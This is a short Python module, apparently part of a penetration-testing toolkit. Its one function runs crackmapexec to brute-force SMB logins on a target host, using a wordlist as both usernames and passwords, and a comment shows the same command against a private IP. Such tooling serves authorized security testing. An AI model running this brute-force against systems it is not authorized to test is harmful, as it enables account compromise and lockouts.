from .consts import FILE_WORDLIST

from .utils import run_cmd_then_print


def run_cme_smb_bruteforce_wordlist(target: str):
    # crackmapexec smb 192.168.229.248 -u users.txt -p passwords.txt --continue-on-success
    run_cmd_then_print(
        [
            "crackmapexec",
            "smb",
            target,
            "-u",
            FILE_WORDLIST,
            "-p",
            FILE_WORDLIST,
            "--continue-on-success",
        ]
    )
